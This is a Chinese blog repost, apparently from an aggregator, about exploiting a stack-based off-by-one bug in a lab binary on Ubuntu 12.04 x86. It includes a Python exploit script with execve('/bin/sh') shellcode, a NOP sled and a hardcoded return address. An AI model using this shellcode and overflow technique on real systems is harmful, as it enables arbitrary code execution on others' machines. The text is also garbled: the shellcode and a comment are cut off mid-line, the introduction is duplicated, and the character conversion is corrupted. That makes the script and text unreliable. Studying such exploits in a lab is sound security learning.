Off-By-One 漏洞 (基于棧)

原文地址：https://bbs.pediy.com/thread-216954.htm

什么是off by one？

將源字符串復(fù)制到目標(biāo)緩沖區(qū)可能會(huì)導(dǎo)致off by one

1、源字符串長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度。

當(dāng)源字符串長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度時(shí)，單個(gè)NULL字節(jié)將被復(fù)制到目標(biāo)緩沖區(qū)上方。這里由于目標(biāo)緩沖區(qū)位于堆棧中，所以單個(gè)NULL字節(jié)可以覆蓋存儲(chǔ)在堆棧中的調(diào)用者的EBP的最低有效位（LSB），這可能導(dǎo)致任意的代碼執(zhí)行。

一如既往的充分的定義，讓我們來(lái)看看off by one的漏洞代碼！

懶得粘貼了，還是看原文吧，僅對(duì)部分作出解釋。

這篇全文解釋的都特別清楚，我僅說下我調(diào)試過程中遇到的坑。

首先是這個(gè)使用的是core文件調(diào)試，編譯選項(xiàng)gcc?-fno-stack-protector?-z?execstack?-mpreferred-stack-boundary=2?-o?vuln?vuln.c

請(qǐng)注意沒有使用-g選項(xiàng)，那么就不是debug模式，沒有debug模式，調(diào)試的時(shí)候就沒辦法在源碼上下斷，所以只能使用core文件進(jìn)行。

使用core文件調(diào)試的辦法，作者也給出來(lái)了，但是我運(yùn)行Python exp.py后，卻沒有core文件。經(jīng)過查詢資料，使用ulimit -c命令查詢后，發(fā)現(xiàn)值為0，原來(lái)是系統(tǒng)默認(rèn)(?)不允許創(chuàng)建core文件，修改限制，使用ulimit -c 1000修改

修改后，正常的生成了core文件。

還有一個(gè)比較坑的點(diǎn)是，gdb調(diào)試出的buf地址和真正運(yùn)行的release版本的buf地址并不相同，偏移也有變化，需要特別注意。

還是老規(guī)矩，分享下我調(diào)試成功的exp.py文件

 1 #exp.py
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 
 6 #Spawn a shell. 
 7 #execve(/bin/sh) Size- 28 bytes.
 8 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$
 9 
10 ret_addr = 0xbffff426
11 
12 #endianess conversion
13 def conv(num):
14  return struct.pack("<I",num)#turn Address + NOP's + Shellcode + J$
15 buf = "A" * 68
16 buf += conv(ret_addr)
17 buf += "\x90" * 30
18 buf += scode
19 buf += "A" * 126
20 
21 print "Calling vulnerable program"
22 call(["./vuln", buf])

?

Off-By-One 漏洞 (基于棧)

虛擬機(jī)安裝：Ubuntu 12.04（x86）

什么是off by one？

將源字符串復(fù)制到目標(biāo)緩沖區(qū)可能會(huì)導(dǎo)致off by one

1、源字符串長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度。

當(dāng)源字符串長(zhǎng)度等于目標(biāo)緩沖區(qū)長(zhǎng)度時(shí)，單個(gè)NULL字節(jié)將被復(fù)制到目標(biāo)緩沖區(qū)上方。這里由于目標(biāo)緩沖區(qū)位于堆棧中，所以單個(gè)NULL字節(jié)可以覆蓋存儲(chǔ)在堆棧中的調(diào)用者的EBP的最低有效位（LSB），這可能導(dǎo)致任意的代碼執(zhí)行。

一如既往的充分的定義，讓我們來(lái)看看off by one的漏洞代碼！

漏洞代碼：

轉(zhuǎn)載于:https://www.cnblogs.com/jourluohua/p/8994209.html

總結(jié)

以上是生活随笔為你收集整理的Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。